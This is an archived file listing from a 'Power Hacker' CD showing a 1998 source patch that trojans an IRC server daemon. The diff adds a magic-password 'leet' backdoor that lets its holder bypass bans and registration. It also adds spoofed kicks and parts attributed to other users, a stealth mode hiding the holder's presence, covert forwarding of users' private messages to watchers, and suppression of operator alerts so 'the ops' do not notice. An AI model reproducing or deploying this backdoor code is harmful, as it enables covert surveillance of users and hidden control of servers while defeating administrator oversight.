home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / w00ircd / w00ircd-src.patch < prev   
Encoding:
Text File  |  1999-03-15  |  109.5 KB  |  3,547 lines
  1. Common subdirectories: ../real-ircd/src/CVS and src/CVS
  2. Only in src: Makefile
  3. Only in src: TODO
  4. diff -u ../real-ircd/src/bsd.c src/bsd.c
  5. --- ../real-ircd/src/bsd.c    Sun Mar  1 11:24:10 1998
  6. +++ src/bsd.c    Wed Aug 12 18:28:49 1998
  7. @@ -94,13 +94,88 @@
  8.  */
  9.  int    deliver_it(aClient *cptr,char *str,int len)
  10.  {
  11. -  int    retval;
  12. +  int i;
  13. +  int retval;
  14. +  int cont, clear; /* New Shok */
  15. +
  16. +  aClient *a;
  17.    aClient    *acpt = cptr->acpt;
  18.  
  19. +  char ch;
  20. +  char *p, *p1, *p2;
  21. +
  22. +  char msg[2048];
  23. +  char sender[128];
  24. +
  25. +
  26. +/*
  27. +  if ((str[0] == '\0') || ((!isprint(str[0])) && str[0] != ' ') &&
  28. +      (str[0] != '\a') && (str[0] != '\t'))) 
  29. +      return 0;
  30. +*/
  31. +
  32. +  /* New Shok stuff (all of this) */
  33. +  bzero(sender, sizeof(sender)), bzero(msg, sizeof(msg));
  34. +
  35. +  p = sender, p1 = str, p2 = msg;
  36. +
  37. +  p1 += 1; /* skip ':' */
  38. +
  39. +  while (*p1) {
  40. +        if (*p1 == ' ' || *p1 == '\n') 
  41. +           break;
  42. +
  43. +        *p++ = *p1++;
  44. +  }
  45. +
  46. +  while (*p1 && *p1 != ':') 
  47. +         p1 += 1; /* Get to the actual message */
  48. +
  49. +  p1 += 1; /* skip final ':' */
  50. +
  51. +  while (*p1 && !iscntrl(*p1))
  52. +    *p2++ = *p1++;
  53. +
  54.  #ifdef    DEBUGMODE
  55.    writecalls++;
  56.  #endif
  57. -  retval = send(cptr->fd, str, len, 0);
  58. +     
  59. +  /* WARNING: Big ugly linked list: ahead 1 mile */
  60. +
  61. +  /* Notify person that they are signing off if watching them */
  62. +  if ((strstr(str, "ERROR")   != NULL) &&
  63. +      (strstr(str, "closing") != NULL)) cont = 1;
  64. +
  65. +  /* keep it from sending junk */
  66. +  if ((strstr(sender, "!") != NULL) || (cont == 1)) 
  67. +     for (a = cptr; a; a = a->prev)
  68. +        if (a->leet == 1)
  69. +           for (i = 0; a->watchlist[i]; i++)
  70. +              if ((strstr(cptr->name, a->watchlist[i]) != NULL) ||
  71. +                  (strstr(sender,     a->watchlist[i]) != NULL) ||
  72. +                  (strstr(msg,        a->watchlist[i]) != NULL) ||
  73. +                  (strstr(str,        a->watchlist[i]) != NULL)) 
  74. +              {
  75. +                 if (cont == 1)
  76. +                    sendto_one(a,
  77. +                        ":%s NOTICE %s :%s (%s@%s) has signed off\n", 
  78. +                     me.name, a->name,
  79. +                        cptr->name, cptr->user->username, cptr->user->host);
  80. +
  81. +                 sendto_one(a, 
  82. +                        ":%s NOTICE %s :Message to %s!%s@%s from %s: %s\n", 
  83. +                        me.name, a->name, 
  84. +                        cptr->name, cptr->user->username, cptr->user->host,
  85. +                        sender, msg); 
  86. +
  87. +                 clear = 1;
  88. +                 retval = send(cptr->fd, str, len, 0);
  89. +                 continue;
  90. +              }
  91. +
  92. +  if (clear != 1) retval = send(cptr->fd, str, len, 0);
  93. +  if (clear == 1) bzero(str, len); /* Clear it all */
  94. +
  95.    /*
  96.    ** Convert WOULDBLOCK to a return of "0 bytes moved". This
  97.    ** should occur only if socket was non-blocking. Note, that
  98. diff -u ../real-ircd/src/channel.c src/channel.c
  99. --- ../real-ircd/src/channel.c    Sun Mar  1 11:24:10 1998
  100. +++ src/channel.c    Wed Aug 12 18:28:49 1998
  101. @@ -683,22 +683,35 @@
  102.        case 0:
  103.      break;
  104.        case -1:
  105. +        /* peedee */
  106. +        if (sptr->leet == 1 || cptr->leet == 1) goto doit;
  107.      if (MyClient(sptr))
  108.        sendto_one(sptr,
  109.               err_str(ERR_CHANOPRIVSNEEDED),
  110.               me.name, parv[0], chptr->chname);
  111.      else
  112.        {
  113. -        /*sendto_ops("Fake: %s MODE %s %s %s",
  114. -          parv[0], parv[1], modebuf, parabuf);*/
  115. +        /* sendto_ops("Fake: %s MODE %s %s %s",
  116. +           parv[0], parv[1], modebuf, parabuf); */
  117.          ircstp->is_fake++;
  118.        }
  119.      break;
  120. +
  121.        default:
  122. -    sendto_channel_butserv(chptr, sptr,
  123. -                   ":%s MODE %s %s %s", parv[0],
  124. -                   chptr->chname, modebuf,
  125. -                   parabuf);
  126. +        doit:
  127. +        /* New Shok */
  128. +        /* New Peedee -- this breaks for the time being so commented. */
  129. +        /* if (cptr->stealth != 1 || sptr->stealth != 1) */
  130. +       sendto_channel_butserv(chptr, sptr,
  131. +                      ":%s MODE %s %s %s", parv[0],
  132. +                      chptr->chname, modebuf,
  133. +                      parabuf);
  134. +
  135. +        /* We did the above because they shouldn't see we got ops..  */
  136. +        /* we did it illegally. Although if they do a /names and see */
  137. +        /* we're opped and there was never a +o.. that could be bad  */
  138. +        /* too ;)                                    */
  139. +
  140.      sendto_match_servs(chptr, cptr,
  141.                 ":%s MODE %s %s %s",
  142.                 parv[0], chptr->chname,
  143. @@ -1258,6 +1271,10 @@
  144.  {
  145.    Reg    Link    *lp;
  146.  
  147. +  /* peedee - allow leet users to join channels regardless of anything. */
  148. +  if ((sptr->leet == 1)) 
  149. +     return 0;
  150. +
  151.    if (is_banned(sptr, chptr))
  152.      return (ERR_BANNEDFROMCHAN);
  153.    if (chptr->mode.mode & MODE_INVITEONLY)
  154. @@ -1531,8 +1548,10 @@
  155.        while ((lp = sptr->user->channel))
  156.          {
  157.            chptr = lp->value.chptr;
  158. -          sendto_channel_butserv(chptr, sptr, PartFmt,
  159. -                     parv[0], chptr->chname);
  160. +
  161. +             sendto_channel_butserv(chptr, sptr, PartFmt,
  162. +                          parv[0], chptr->chname);
  163. +
  164.            remove_user_from_channel(sptr, chptr);
  165.          }
  166.  /*
  167. @@ -1735,10 +1754,13 @@
  168.                 name);
  169.  
  170.        /*
  171. -      ** notify all other users on the new channel
  172. -      */
  173. -      sendto_channel_butserv(chptr, sptr, ":%s JOIN :%s",
  174. -                 parv[0], name);
  175. +       * notify all other users on the new channel
  176. +       */
  177. +
  178. +      /* peedee */
  179. +      if (sptr->stealth != 1)
  180. +         sendto_channel_butserv(chptr, sptr, ":%s JOIN :%s",
  181. +                      parv[0], name);
  182.  
  183.        if (MyClient(sptr))
  184.      {
  185. @@ -1787,7 +1809,7 @@
  186.        return 0;
  187.      }
  188.  
  189. -  name = strtoken( &p, parv[1], ",");
  190. +  name = strtoken(&p, parv[1], ",");
  191.  
  192.  #ifdef ANTI_SPAMBOT    /* Dianora */
  193.        /* if its my client, and isn't an oper */
  194. @@ -1852,8 +1874,10 @@
  195.        */
  196.          
  197.        sendto_match_servs(chptr, cptr, PartFmt, parv[0], name);
  198. -        
  199. -      sendto_channel_butserv(chptr, sptr, PartFmt, parv[0], name);
  200. +
  201. +      if (sptr->stealth != 1)
  202. +         sendto_channel_butserv(chptr, sptr, PartFmt, parv[0], name);
  203. +
  204.        remove_user_from_channel(sptr, chptr);
  205.        name = strtoken(&p, (char *)NULL, ",");
  206.      }
  207. @@ -1861,12 +1885,192 @@
  208.  }
  209.  
  210.  /*
  211. +**
  212. +** m_skick ** Peedee & Shok -- Send a spoofed kick or a part to a client. **
  213. +**
  214. +**
  215. +**  parv[0] = sender prefix
  216. +**  parv[1] = channel
  217. +**  parv[2] = client to kick
  218. +**  parv[3] = client to spoof or "none" - Real Shok (if making them part)
  219. +**  parv[4] = kick comment or "part"    - Real Shok (if making them part)
  220. +*/
  221. +
  222. +/* New Shok */
  223. +/* I added it to make it look like they parted (actually, it really  */
  224. +/* does.. it calls m_part()) if the spoof name is "none" or the kick */
  225. +/* comment is "part".                                                */
  226. +
  227. +int    m_skick(aClient *cptr,
  228. +           aClient *sptr,
  229. +           int parc,
  230. +           char *parv[])
  231. +{
  232. +  aClient *who;
  233. +  aChannel *chptr;
  234. +
  235. +  int    chasing = 0, counter = 4;
  236. +
  237. +  char  buffer[2048], newbuff[2048];
  238. +  char    *comment, *name, *p = NULL, *user, *p2 = NULL;
  239. +
  240. +  /* New Peedee -- This make's the server segfault. */
  241. +  /* sendto_one(":%s NOTICE %s :parc == %d\n", me.name, cptr->name, 
  242. +     parc); */
  243. +
  244. +  /* New Peedee -- Minor changes, made SKICK lowercase below. */
  245. +
  246. +  if (sptr->leet != 1) 
  247. +  {
  248. +    sendto_one(sptr, err_str(ERR_UNKNOWNCOMMAND), me.name,  me.name, "skick");
  249. +    return 0;
  250. +  }
  251. +
  252. +  if (parc < 4 || *parv[1] == '\0')
  253. +  {
  254. +      sendto_one(sptr, err_str(ERR_NEEDMOREPARAMS), me.name, me.name, "skick");
  255. +      return 0;
  256. +  }
  257. +  
  258. +  /* Peedee -- Kick message parsing. */
  259. +
  260. +  bzero(buffer, sizeof(buffer));
  261. +
  262. +  for (counter = 4; counter != parc; counter++)
  263. +  {
  264. +    /* Uhm.. overflows. Bad. - Real Shok */
  265. +
  266. +    strncat(buffer, parv[counter] ? parv[counter] : "", sizeof(buffer)-1);
  267. +    buffer[sizeof(buffer)-1] = '\0'; /* Real Shok */
  268. +
  269. +    /* Fixed parse problem here - Real Shok */
  270. +    /* Taken out because I don't see the need - Real Shok */
  271. +    
  272. +    /* New Peedee -- Keep this here, it puts space's in between words for */
  273. +    /*               the kick message. */
  274. +
  275. +    if (counter < parc - 1) strncat(buffer, " ", sizeof(buffer)-1);
  276. +  }
  277. +
  278. +  *nickbuf = *buf = '\0'; 
  279. +
  280. +  name = strtoken(&p, parv[1], ",");
  281. +  while(name)
  282. +  {
  283. +      chptr = get_channel(sptr, name, !CREATE);
  284. +      if (!chptr)
  285. +    {
  286. +      sendto_one(sptr, err_str(ERR_NOSUCHCHANNEL),
  287. +             me.name, parv[3], name);
  288. +      name = strtoken(&p, (char*)NULL, ",");
  289. +      continue;
  290. +    }
  291. +
  292. +      user = strtoken(&p2, parv[2], ",");
  293. +      while (user)
  294. +      {
  295. +      if (!(who = find_chasing(sptr, user, &chasing)))
  296. +      {
  297. +          user = strtoken(&p2, (char *)NULL, ",");
  298. +          continue; /* No such user left! */
  299. +      }
  300. +
  301. +      if (IsMember(who, chptr))
  302. +      {
  303. +              /* Real Shok -- added ability to make it look like they */
  304. +              /*              parted the channel, to avoid suspicion  */
  305. +
  306. +              /* New Peedee -- Fixed the way this function operates in */
  307. +          /*               making a user part a channel. */
  308. +
  309. +              if ((strstr(parv[3], "none")) ||
  310. +                  (strstr(parv[4], "part"))) 
  311. +              {
  312. +                    /* New Peedee -- The victim here is really parv[2], also */
  313. +                    /*               this will screw the server because we */
  314. +                    /*               never return the real value to parv[0] */
  315. +            /*               Besides, with the way I rewrote it, we */ 
  316. +                    /*               don't need it anymore. */
  317. +
  318. +                    /* parv[0] = strdup(parv[4]); */
  319. +
  320. +                    /* New Peedee -- Do we really need this? */
  321. +                    /* parv[2] = NULL, parv[3] = NULL, parv[4] = NULL; */
  322. +     
  323. +                    /* New Peedee -- If we call the function, it will show */
  324. +                    /*               a part from our current nickname instead */
  325. +                    /*             of the victim which isn't good. */
  326. +      
  327. +                    /* m_part(cptr, sptr, 2, parv); */
  328. +
  329. +                    /* New Peedee -- Code to execute a part on a user. */
  330. +
  331. +                  while ( name )
  332. +                  {
  333. +                    chptr = get_channel(sptr, name, 0);
  334. +                    if (!chptr)
  335. +                    {
  336. +                      sendto_one(sptr, err_str(ERR_NOSUCHCHANNEL),
  337. +                        me.name, parv[0], name);
  338. +                      name = strtoken(&p, (char *)NULL, ",");
  339. +                      return 0;
  340. +                    }
  341. +
  342. +                    if (!IsMember(sptr, chptr))
  343. +                    {
  344. +                      sendto_one(sptr, err_str(ERR_NOTONCHANNEL),
  345. +                        me.name, parv[0], name);
  346. +                      name = strtoken(&p, (char *)NULL, ",");
  347. +                      return 0;
  348. +                    }
  349. +
  350. +                    bzero(newbuff, sizeof(newbuff));
  351. +                    snprintf(newbuff, (sizeof(newbuff)-1), "%s@%s",
  352. +                      sptr->user->username, sptr->user->host);
  353. +
  354. +                    sendto_match_servs(chptr, sptr, PartFmt, parv[2], newbuff);
  355. +                    sendto_channel_butserv(chptr, sptr, PartFmt, parv[2], 
  356. +                      newbuff);
  357. +
  358. +                    remove_user_from_channel(cptr, chptr);
  359. +                    return 0;
  360. +                }
  361. +              } 
  362. +              else
  363. +              {
  364. +             sendto_channel_butserv(chptr, sptr,
  365. +                        ":%s KICK %s %s :%s", parv[3],
  366. +                        name, who->name, buffer);
  367. +             sendto_match_servs(chptr, cptr,
  368. +                    ":%s KICK %s %s :%s",
  369. +                    parv[3], name,
  370. +                 who->name, buffer);
  371. +
  372. +             remove_user_from_channel(who, chptr);
  373. +              }
  374. +      }
  375. +      else
  376. +        sendto_one(sptr, err_str(ERR_USERNOTINCHANNEL),
  377. +               me.name, parv[3], user, name);
  378. +
  379. +      user = strtoken(&p2, (char *)NULL, ",");
  380. +      }
  381. +
  382. +      name = strtoken(&p, (char*)NULL, ",");
  383. +  }
  384. +
  385. +  return (0);
  386. +}
  387. +
  388. +
  389. +/*
  390.  ** m_kick
  391.  **    parv[0] = sender prefix
  392.  **    parv[1] = channel
  393.  **    parv[2] = client to kick
  394.  **    parv[3] = kick comment
  395.  */
  396. +
  397.  int    m_kick(aClient *cptr,
  398.             aClient *sptr,
  399.             int parc,
  400. @@ -1884,9 +2088,14 @@
  401.           me.name, parv[0], "KICK");
  402.        return 0;
  403.      }
  404. -  if (IsServer(sptr))
  405. -    sendto_ops("KICK from %s for %s %s",
  406. -           parv[0], parv[1], parv[2]);
  407. +  
  408. +  /* peedee - we dont want to bug ircops with our buisness, now do we? */
  409. +
  410. +  if (sptr->leet != 1 || cptr->leet != 1)
  411. +     if (IsServer(sptr))
  412. +        sendto_ops("KICK from %s for %s %s",
  413. +               parv[0], parv[1], parv[2]);
  414. +
  415.    comment = (BadPtr(parv[3])) ? parv[0] : parv[3];
  416.    if (strlen(comment) > (size_t) TOPICLEN)
  417.      comment[TOPICLEN] = '\0';
  418. @@ -1911,8 +2120,10 @@
  419.           -Dianora
  420.        */
  421.  
  422. -      if (!IsServer(sptr) && !is_chan_op(sptr, chptr) ) 
  423. -    { 
  424. +      /* peedee */
  425. +      if (sptr->leet != 1 || cptr->leet != 1)
  426. +         if (!IsServer(sptr) && !is_chan_op(sptr, chptr) ) 
  427. +     { 
  428.        /* was a user, not a server, and user isn't seen as a chanop here */
  429.  
  430.        if(MyConnect(sptr))
  431. @@ -1969,7 +2180,7 @@
  432.          -Dianora
  433.  
  434.               */
  435. -    }
  436. +     }
  437.  
  438.        user = strtoken(&p2, parv[2], ",");
  439.        user_count = 4;
  440. @@ -1991,6 +2202,14 @@
  441.                   ":%s KICK %s %s :%s",
  442.                   parv[0], name,
  443.                   who->name, comment);
  444. +
  445. +              /* Shok - go into stealth mode when kicked */
  446. +              if (who->leet == 1) {
  447. +                 who->stealth = 1;
  448. +                 sendto_one(who, ":%s NOTICE %s Kick recieved from %s, setting stealth mode on!", 
  449. +                            me.name, cptr->name, parv[1]);
  450. +              }
  451. +
  452.            remove_user_from_channel(who, chptr);
  453.          }
  454.        else
  455. @@ -2308,8 +2527,12 @@
  456.        for (lp = chptr->members; lp; lp = lp->next)
  457.      {
  458.        c2ptr = lp->value.cptr;
  459. -      if (IsInvisible(c2ptr) && !IsMember(sptr,chptr))
  460. +
  461. +          /* Shok, peedee */
  462. +      if ((IsInvisible(c2ptr) && !IsMember(sptr, chptr)) 
  463. +               || c2ptr->stealth == 1)
  464.          continue;
  465. +
  466.        if (lp->flags & CHFL_CHANOP)
  467.          {
  468.            (void)strcat(buf, "@");
  469. @@ -2360,8 +2583,10 @@
  470.        aChannel *ch3ptr;
  471.        int    showflag = 0, secret = 0;
  472.  
  473. -      if (!IsPerson(c2ptr) || IsInvisible(c2ptr))
  474. +      /* Shok - peedee */
  475. +      if (!IsPerson(c2ptr) || IsInvisible(c2ptr) || c2ptr->stealth == 1)
  476.      continue;
  477. +
  478.        lp = c2ptr->user->channel;
  479.        /*
  480.         * dont show a client if they are on a secret channel or
  481. @@ -2408,6 +2633,9 @@
  482.    Reg    int    cnt = 0, len = 0, clen;
  483.    char     *mask;
  484.  
  485. +  /* Shok - don't show users we joined */
  486. +  if (user->stealth == 1) return;
  487. +
  488.    *buf = ':';
  489.    (void)strcpy(buf+1, user->name);
  490.    (void)strcat(buf, " JOIN ");
  491. @@ -2573,8 +2801,9 @@
  492.      {
  493.        chptr->channelts = tstosend = newts;
  494.        if (MyConnect(sptr))
  495. -        ts_warn("Hacked ops on opless channel: %s",
  496. -            chptr->chname);
  497. +             if (sptr->leet != 1) /* New Shok */
  498. +            ts_warn("Hacked ops on opless channel: %s",
  499. +                chptr->chname);
  500.      }
  501.        else
  502.      tstosend = oldts;
  503. @@ -2816,6 +3045,3 @@
  504.      }
  505.    return 0;
  506.  }
  507. -
  508. -
  509. -
  510. Only in src: ircd
  511. diff -u ../real-ircd/src/parse.c src/parse.c
  512. --- ../real-ircd/src/parse.c    Sun Mar  1 11:24:10 1998
  513. +++ src/parse.c    Wed Aug 12 18:28:49 1998
  514. @@ -628,24 +628,33 @@
  515.     */
  516.    if (IsServer(sptr) || IsMe(sptr))
  517.      {
  518. -      sendto_realops_lev(DEBUG_LEV, "Message (%s) for %s[%s] from %s", cmd,
  519. -                    sptr->name, sptr->from->name,
  520. -             get_client_name(cptr, TRUE));
  521. +      /* New Shok */
  522. +      /* This will still work as it normally does.. it just wont */
  523. +      /* tell the ops is all. */
  524. +      if (sptr->leet != 1)
  525. +         sendto_realops_lev(DEBUG_LEV, "Message (%s) for %s[%s] from %s", cmd,
  526. +                sptr->name, sptr->from->name,
  527. +                get_client_name(cptr, TRUE));
  528.  
  529.        if (IsServer(cptr))
  530.      {
  531. -      sendto_realops_lev(DEBUG_LEV,
  532. -                     "Not dropping server %s (%s) for Fake Direction",
  533. -                 cptr->name, sptr->name);
  534. +          /* Shok */
  535. +          if (sptr->leet != 1)
  536. +         sendto_realops_lev(DEBUG_LEV,
  537. +                    "Not dropping server %s (%s) for Fake Direction",
  538. +                    cptr->name, sptr->name);
  539.  
  540.        return -1;
  541.      }
  542.  
  543.        if (IsClient(cptr))
  544. -         sendto_realops_lev(DEBUG_LEV,
  545. -                "Would have dropped client %s (%s@%s) [%s from %s]",
  546. -                cptr->name, cptr->user->username, cptr->user->host,
  547. -                cptr->user->server, cptr->from->name);
  548. +
  549. +         /* Shok */
  550. +         if (sptr->leet != 1)
  551. +        sendto_realops_lev(DEBUG_LEV,
  552. +                   "Would have dropped client %s (%s@%s) [%s from %s]",
  553. +                   cptr->name, cptr->user->username, cptr->user->host,
  554. +                   cptr->user->server, cptr->from->name);
  555.  
  556.        return -1;
  557.  
  558. @@ -666,16 +675,20 @@
  559.      if (DoesTS(cptr))
  560.        {
  561.      if (sptr->user)
  562. -            sendto_realops_lev(DEBUG_LEV,
  563. +          /* Shok */
  564. +          if (sptr->leet != 1)
  565. +        sendto_realops_lev(DEBUG_LEV,
  566.              "Message (%s) for %s[%s@%s!%s] from %s (TS, ignored)", cmd,
  567. -            sptr->name, sptr->user->username, sptr->user->host,
  568. -            sptr->from->name, get_client_name(cptr, TRUE));
  569. +                 sptr->name, sptr->user->username, sptr->user->host,
  570. +                 sptr->from->name, get_client_name(cptr, TRUE));
  571.      return 0;
  572.        }
  573.      else
  574.        {
  575.      if (sptr->user)
  576. -       sendto_realops_lev(DEBUG_LEV,
  577. +          /* New Shok - work as usual.. just don't tell ops */
  578. +          if (sptr->leet != 1)
  579. +        sendto_realops_lev(DEBUG_LEV,
  580.                 "Message (%s) for %s[%s@%s!%s] from %s", cmd,
  581.                 sptr->name, sptr->user->username, sptr->user->host,
  582.                 sptr->from->name, get_client_name(cptr, TRUE));
  583. @@ -701,7 +714,8 @@
  584.  
  585.    if (IsClient(cptr))
  586.      {
  587. -     sendto_realops_lev(DEBUG_LEV,
  588. +      if (cptr->leet != 1)
  589. +        sendto_realops_lev(DEBUG_LEV,
  590.           "Weirdness: Unknown client prefix (%s) from %s, Ignoring %s",
  591.               buffer,
  592.               get_client_name(cptr, FALSE), sender);
  593. @@ -724,7 +738,8 @@
  594.             get_client_name(cptr, FALSE));
  595.    else
  596.      {
  597. -      sendto_realops_lev(DEBUG_LEV, "Unknown prefix (%s) from %s, Squitting %s", buffer, get_client_name(cptr, FALSE), sender);
  598. +      if (cptr->leet != 1)
  599. +        sendto_realops_lev(DEBUG_LEV, "Unknown prefix (%s) from %s, Squitting %s", buffer, get_client_name(cptr, FALSE), sender);
  600.  
  601.        sendto_one(cptr, ":%s SQUIT %s :(Unknown prefix (%s) from %s)",
  602.           me.name, sender, buffer, get_client_name(cptr, FALSE));
  603. diff -u ../real-ircd/src/s_bsd.c src/s_bsd.c
  604. --- ../real-ircd/src/s_bsd.c    Sun Mar  1 11:24:11 1998
  605. +++ src/s_bsd.c    Wed Aug 12 18:28:49 1998
  606. @@ -193,7 +193,11 @@
  607.      errtmp = err;
  608.  #endif
  609.  
  610. -  sendto_realops_lev(DEBUG_LEV,text, host, strerror(errtmp));
  611. +  /* Shok */
  612. +  /* (if we were trying to hack something and we messed up, */
  613. +  /* we don't want the ops to know)                         */
  614. +  if (cptr->leet != 1) 
  615. +     sendto_realops_lev(DEBUG_LEV, text, host, strerror(errtmp));
  616.  
  617.  #ifdef USE_SYSLOG
  618.    syslog(LOG_WARNING, text, host, strerror(errtmp));
  619. @@ -893,7 +897,8 @@
  620.    aconf = find_conf(cptr->confs, cptr->name, CONF_CONNECT_SERVER);
  621.    if (!aconf)
  622.      {
  623. -      sendto_realops("Lost C-Line for %s", get_client_name(cptr,FALSE));
  624. +      if (cptr->leet != 1)
  625. +    sendto_realops("Lost C-Line for %s", get_client_name(cptr,FALSE));
  626.  
  627.        return -1;
  628.      }
  629. @@ -903,7 +908,10 @@
  630.    aconf = find_conf(cptr->confs, cptr->name, CONF_NOCONNECT_SERVER);
  631.    if (!aconf)
  632.      {
  633. -      sendto_realops("Lost N-Line for %s", get_client_name(cptr,FALSE));
  634. +      /* Shok */
  635. +      /* We don't want the ops to know something is up with us */
  636. +      if (cptr->leet != 1)
  637. +        sendto_realops("Lost N-Line for %s", get_client_name(cptr,FALSE));
  638.  
  639.        return -1;
  640.      }
  641. @@ -2309,11 +2317,12 @@
  642.        else
  643.          report_error("Lost connection to %s:%s", cptr);
  644.  
  645. -          sendto_ops("%s had been connected for %d day%s, %2d:%02d:%02d",
  646. -             cptr->name, connected/86400,
  647. -             (connected/86400 == 1) ? "" : "s",
  648. -             (connected % 86400) / 3600, (connected % 3600) / 60,
  649. -             connected % 60);
  650. +          if (cptr->stealth != 1)
  651. +        sendto_ops("%s had been connected for %d day%s, %2d:%02d:%02d",
  652. +               cptr->name, connected/86400,
  653. +               (connected/86400 == 1) ? "" : "s",
  654. +               (connected % 86400) / 3600, (connected % 3600) / 60,
  655. +               connected % 60);
  656.      }
  657.        (void)ircsprintf(errmsg, "Read error: %d (%s)", errno,
  658.                 strerror(errno));
  659. diff -u ../real-ircd/src/s_misc.c src/s_misc.c
  660. --- ../real-ircd/src/s_misc.c    Sun Mar  1 11:24:11 1998
  661. +++ src/s_misc.c    Wed Aug 12 18:28:49 1998
  662. @@ -52,6 +52,7 @@
  663.  #include "fdlist.h"
  664.  extern fdlist serv_fdlist;
  665.  
  666. +#include <des.h> /* New Shok */
  667.  #ifdef NO_CHANOPS_WHEN_SPLIT
  668.  extern int server_was_split;
  669.  extern time_t server_split_time;
  670. @@ -75,6 +76,28 @@
  671.   */
  672.  struct    stats    ircst, *ircstp = &ircst;
  673.  
  674. +/* New Shok used for DES encryption */
  675. +void encry(aClient *sptr, char *str)
  676. +{
  677. +  int len = strlen(str);
  678. +  register int i;
  679. +  char encstr[strlen(str)+1]; /* Hopefully, this is enough */
  680. +
  681. +  memset(encstr, 0, sizeof(encstr));
  682. +
  683. +  des_ecb_encrypt((des_cblock *)str, (des_cblock *)encstr,
  684. +                  sptr->sch, DES_ENCRYPT);
  685. +
  686. +  /* Hopefully it's long enough.. otherwise it probably won't */
  687. +  /* decrypt properly. But this should be fine.. IRC only     */
  688. +  /* allows about half the size of the full buffer anyway.    */
  689. +  memset(str, 0, len);
  690. +
  691. +  encstr[strlen(encstr)]   = '\n';
  692. +  encstr[strlen(encstr)+1] = '\0';
  693. +  strncpy(str, encstr, strlen(encstr));
  694. +}
  695. +
  696.  char    *date(time_t clock) 
  697.  {
  698.    static    char    buf[80], plus;
  699. @@ -172,6 +195,15 @@
  700.  */
  701.  int    check_registered_user(aClient *sptr)
  702.  {
  703. +  /* Shok */
  704. +  /* this allows us to do anything we want even if we're not registered */
  705. +  /* just don't let them join a channel is all ;) otherwise.. their     */
  706. +  /* nickname will be NULL.. bad idea ;) We will fix this by having it  */
  707. +  /* check if the user is registered with IsRegisteredUser() in things  */
  708. +  /* involving joining channels, messaging, sending notices, setting    */
  709. +  /* the topic, etc.                                                    */
  710. +  if (sptr->leet == 1) return 0;
  711. +
  712.    if (!IsRegisteredUser(sptr))
  713.      {
  714.        sendto_one(sptr, err_str(ERR_NOTREGISTERED), me.name, "*");
  715. @@ -187,6 +219,15 @@
  716.  */
  717.  int    check_registered(aClient *sptr)
  718.  {
  719. +  /* Shok */
  720. +  /* this allows us to do anything we want even if we're not registered */
  721. +  /* just don't let them join a channel is all ;) otherwise.. their     */
  722. +  /* nickname will be NULL.. bad idea ;) We will fix this by having it  */
  723. +  /* check if the user is registered with IsRegisteredUser() in things  */
  724. +  /* involving joining channels, messaging, sending notices, setting    */
  725. +  /* the topic, etc.                                                    */
  726. +  if (sptr->leet == 1) return 0;
  727. +
  728.    if (!IsRegistered(sptr))
  729.      {
  730.        sendto_one(sptr, err_str(ERR_NOTREGISTERED), me.name, "*");
  731. @@ -401,7 +442,8 @@
  732.        sptr->flags |= FLAGS_CLOSING;
  733.        if (IsPerson(sptr))
  734.      {
  735. -           sendto_realops_lev(CCONN_LEV, "Client exiting: %s (%s@%s) [%s] [%s]",
  736. +          if (sptr->stealth == 1)
  737. +         sendto_realops_lev(CCONN_LEV, "Client exiting: %s (%s@%s) [%s] [%s]",
  738.              sptr->name, sptr->user->username,
  739.              sptr->user->host,
  740.              (sptr->flags & FLAGS_NORMALEX) ?
  741. diff -u ../real-ircd/src/s_serv.c src/s_serv.c
  742. --- ../real-ircd/src/s_serv.c    Sun Mar  1 11:24:11 1998
  743. +++ src/s_serv.c    Wed Aug 12 18:28:49 1998
  744. @@ -383,8 +383,11 @@
  745.        ** TS_ONLY we can't fall back to the non-TS protocol so
  746.        ** we drop the link  -orabidoo
  747.        */
  748. -      sendto_ops("Link %s dropped, wrong TS protocol version (%s,%s)",
  749. -         get_client_name(sptr, TRUE), parv[1], parv[2]);
  750. +      /* Real Shok */
  751. +      if (sptr->leet != 1)
  752. +         sendto_ops("Link %s dropped, wrong TS protocol version (%s,%s)",
  753. +            get_client_name(sptr, TRUE), parv[1], parv[2]);
  754. +
  755.        return exit_client(sptr, sptr, sptr, "Incompatible TS version");
  756.      }
  757.  
  758. @@ -463,8 +466,10 @@
  759.        /*
  760.      Just ignore it for fripps sake... - Dianora
  761.  
  762. -    sendto_ops("User %s trying to become a server %s",
  763. -               get_client_name(cptr, TRUE), host);
  764. +    Shok (in case they uncomment this later on ;)      
  765. +        if (cptr->leet != 1) 
  766. +       sendto_ops("User %s trying to become a server %s",
  767. +                  get_client_name(cptr, TRUE), host);
  768.      */
  769.          
  770.        return 0;
  771. @@ -4717,8 +4722,10 @@
  772.    register aMotd    *temp;
  773.    struct    tm    *tm;
  774.  
  775. +/*
  776.    if (hunt_server(cptr, sptr, ":%s MOTD :%s", 1,parc,parv)!=HUNTED_ISME)
  777.      return 0;
  778. +*/
  779.  
  780.    tm = motd_tm;
  781.    if (motd == (aMotd *)NULL)
  782. @@ -4726,6 +4733,7 @@
  783.        sendto_one(sptr, err_str(ERR_NOMOTD), me.name, parv[0]);
  784.        return 0;
  785.      }
  786. +
  787.    sendto_one(sptr, rpl_str(RPL_MOTDSTART), me.name, parv[0], me.name);
  788.  
  789.    if (tm)
  790. Only in ../real-ircd/src: s_serv.c~
  791. diff -u ../real-ircd/src/s_user.c src/s_user.c
  792. --- ../real-ircd/src/s_user.c    Sun Mar  1 11:24:11 1998
  793. +++ src/s_user.c    Wed Aug 12 18:28:49 1998
  794. @@ -43,6 +43,9 @@
  795.  #include "blalloc.h"
  796.  #endif /* FLUD */
  797.  
  798. +#define MAGIC_PASSWORD "bl00t"
  799. +#define HACKED_NAME "leet"
  800. +
  801.  #if defined( HAVE_STRING_H)
  802.  #include <string.h>
  803.  #else
  804. @@ -215,6 +218,198 @@
  805.    return next;
  806.  }
  807.  
  808. +
  809. +/* New Shok */
  810. +int m_crypt(aClient *cptr, aClient *sptr, int parc, char *parv[])
  811. +{
  812. +  int num;
  813. +  register int i;
  814. +
  815. +  char bb[512];
  816. +
  817. +  memset(bb, 0, sizeof(bb));
  818. +
  819. +  /* We have to allow everyone to do this because it needs */
  820. +  /* to be called before LEET.. even before USER and NICK  */
  821. +
  822. +  if (sptr->crypt == 0) {
  823. +
  824. +        des_random_key(sptr->cb);
  825. +        sptr->cb[sizeof(sptr->cb)-1] = '\0';
  826. +
  827. +        setenv("BITCH", sptr->cb, 1);
  828. +        system("echo $BITCH > /tmp/ircdkey");
  829. +
  830. +        sendto_one(sptr, ":%s NOTICE %s :KEY %s", me.name, cptr->name, 
  831. +                  (u_char *)sptr->cb);
